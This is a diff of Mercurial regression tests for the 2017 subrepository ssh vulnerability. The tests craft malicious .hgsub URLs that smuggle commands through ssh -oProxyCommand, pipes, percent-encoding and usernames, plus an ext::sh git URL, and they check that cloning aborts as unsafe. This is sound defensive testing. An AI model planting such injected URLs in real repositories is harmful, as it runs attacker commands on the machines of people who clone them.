sending hello command | sending hello command | ||||
sending between command | sending between command | ||||
remote: 355 | remote: 355 | ||||
remote: capabilities: lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN | remote: capabilities: lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN | ||||
remote: 1 | remote: 1 | ||||
preparing listkeys for "bookmarks" | preparing listkeys for "bookmarks" | ||||
sending listkeys command | sending listkeys command | ||||
received listkey for "bookmarks": 45 bytes | received listkey for "bookmarks": 45 bytes |
remote: KABOOM | remote: KABOOM | ||||
remote: KABOOM IN PROCESS | remote: KABOOM IN PROCESS | ||||
local stdout | local stdout | ||||
debug output | debug output | ||||
$ hg pull --debug ssh://user@dummy/remote | $ hg pull --debug ssh://user@dummy/remote | ||||
pulling from ssh://user@dummy/remote | pulling from ssh://user@dummy/remote | ||||
running .* ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re) | running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re) | ||||
sending hello command | sending hello command | ||||
sending between command | sending between command | ||||
remote: 355 | remote: 355 | ||||
remote: capabilities: lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN | remote: capabilities: lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN | ||||
remote: 1 | remote: 1 | ||||
query 1; heads | query 1; heads | ||||
sending batch command | sending batch command | ||||
searching for changes | searching for changes |
updating to branch default | updating to branch default | ||||
cloning subrepo s from ext::sh -c echo% pwned:% $PWNED_MSG% >pwned.txt | cloning subrepo s from ext::sh -c echo% pwned:% $PWNED_MSG% >pwned.txt | ||||
abort: git clone error 128 in s (in subrepository "s") | abort: git clone error 128 in s (in subrepository "s") | ||||
[255] | [255] | ||||
$ f -Dq pwned.txt | $ f -Dq pwned.txt | ||||
pwned: you asked for it | pwned: you asked for it | ||||
#endif | #endif | ||||
test for ssh exploit with git subrepos 2017-07-25 | |||||
$ hg init malicious-proxycommand | |||||
$ cd malicious-proxycommand | |||||
$ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub | |||||
$ git init s | |||||
Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/ | |||||
$ cd s | |||||
$ git commit --allow-empty -m 'empty' | |||||
[master (root-commit) 153f934] empty | |||||
$ cd .. | |||||
$ hg add .hgsub | |||||
$ hg ci -m 'add subrepo' | |||||
$ cd .. | |||||
$ hg clone malicious-proxycommand malicious-proxycommand-clone | |||||
updating to branch default | |||||
abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s") | |||||
[255] | |||||
also check that a percent encoded '-' (%2D) doesn't work | |||||
$ cd malicious-proxycommand | |||||
$ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub | |||||
$ hg ci -m 'change url to percent encoded' | |||||
$ cd .. | |||||
$ rm -r malicious-proxycommand-clone | |||||
$ hg clone malicious-proxycommand malicious-proxycommand-clone | |||||
updating to branch default | |||||
abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s") | |||||
[255] |
Test that sanitizing is omitted in meta data area: | Test that sanitizing is omitted in meta data area: | ||||
$ mkdir s/.svn/.hg | $ mkdir s/.svn/.hg | ||||
$ echo '.hg/hgrc in svn metadata area' > s/.svn/.hg/hgrc | $ echo '.hg/hgrc in svn metadata area' > s/.svn/.hg/hgrc | ||||
$ hg update -q -C '.^1' | $ hg update -q -C '.^1' | ||||
$ cd ../.. | $ cd ../.. | ||||
SEC: test for ssh exploit | |||||
$ hg init ssh-vuln | |||||
$ cd ssh-vuln | |||||
$ echo "s = [svn]$SVNREPOURL/src" >> .hgsub | |||||
$ svn co --quiet "$SVNREPOURL"/src s | |||||
$ hg add .hgsub | |||||
$ hg ci -m1 | |||||
$ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub | |||||
$ hg ci -m2 | |||||
$ cd .. | |||||
$ hg clone ssh-vuln ssh-vuln-clone | |||||
updating to branch default | |||||
abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s") | |||||
[255] | |||||
also check that a percent encoded '-' (%2D) doesn't work | |||||
$ cd ssh-vuln | |||||
$ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub | |||||
$ hg ci -m3 | |||||
$ cd .. | |||||
$ rm -r ssh-vuln-clone | |||||
$ hg clone ssh-vuln ssh-vuln-clone | |||||
updating to branch default | |||||
abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s") | |||||
[255] | |||||
also check that hiding the attack in the username doesn't work: | |||||
$ cd ssh-vuln | |||||
$ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub | |||||
$ hg ci -m3 | |||||
$ cd .. | |||||
$ rm -r ssh-vuln-clone | |||||
$ hg clone ssh-vuln ssh-vuln-clone | |||||
updating to branch default | |||||
abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepository "s") | |||||
[255] |
$ hg diff -S --rev 'p2()' --nodates | $ hg diff -S --rev 'p2()' --nodates | ||||
diff -r 7cf8cfea66e4 bar.txt | diff -r 7cf8cfea66e4 bar.txt | ||||
--- /dev/null | --- /dev/null | ||||
+++ b/bar.txt | +++ b/bar.txt | ||||
@@ -0,0 +1,1 @@ | @@ -0,0 +1,1 @@ | ||||
+bar | +bar | ||||
$ cd .. | $ cd .. | ||||
test for ssh exploit 2017-07-25 | |||||
$ cat >> $HGRCPATH << EOF | |||||
> [ui] | |||||
> ssh = sh -c "read l; read l; read l" | |||||
> EOF | |||||
$ hg init malicious-proxycommand | |||||
$ cd malicious-proxycommand | |||||
$ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub | |||||
$ hg init s | |||||
$ cd s | |||||
$ echo init > init | |||||
$ hg add | |||||
adding init | |||||
$ hg commit -m init | |||||
$ cd .. | |||||
$ hg add .hgsub | |||||
$ hg ci -m 'add subrepo' | |||||
$ cd .. | |||||
$ hg clone malicious-proxycommand malicious-proxycommand-clone | |||||
updating to branch default | |||||
abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s") | |||||
[255] | |||||
also check that a percent encoded '-' (%2D) doesn't work | |||||
$ cd malicious-proxycommand | |||||
$ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub | |||||
$ hg ci -m 'change url to percent encoded' | |||||
$ cd .. | |||||
$ rm -r malicious-proxycommand-clone | |||||
$ hg clone malicious-proxycommand malicious-proxycommand-clone | |||||
updating to branch default | |||||
abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s") | |||||
[255] | |||||
also check for a pipe | |||||
$ cd malicious-proxycommand | |||||
$ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub | |||||
$ hg ci -m 'change url to pipe' | |||||
$ cd .. | |||||
$ rm -r malicious-proxycommand-clone | |||||
$ hg clone malicious-proxycommand malicious-proxycommand-clone | |||||
updating to branch default | |||||
abort: no suitable response from remote hg! | |||||
[255] | |||||
$ [ ! -f owned ] || echo 'you got owned' | |||||
also check that a percent encoded '|' (%7C) doesn't work | |||||
$ cd malicious-proxycommand | |||||
$ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub | |||||
$ hg ci -m 'change url to percent encoded pipe' | |||||
$ cd .. | |||||
$ rm -r malicious-proxycommand-clone | |||||
$ hg clone malicious-proxycommand malicious-proxycommand-clone | |||||
updating to branch default | |||||
abort: no suitable response from remote hg! | |||||
[255] | |||||
$ [ ! -f owned ] || echo 'you got owned' | |||||
and bad usernames: | |||||
$ cd malicious-proxycommand | |||||
$ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub | |||||
$ hg ci -m 'owned username' | |||||
$ cd .. | |||||
$ rm -r malicious-proxycommand-clone | |||||
$ hg clone malicious-proxycommand malicious-proxycommand-clone | |||||
updating to branch default | |||||
abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepository "s") | |||||
[255] |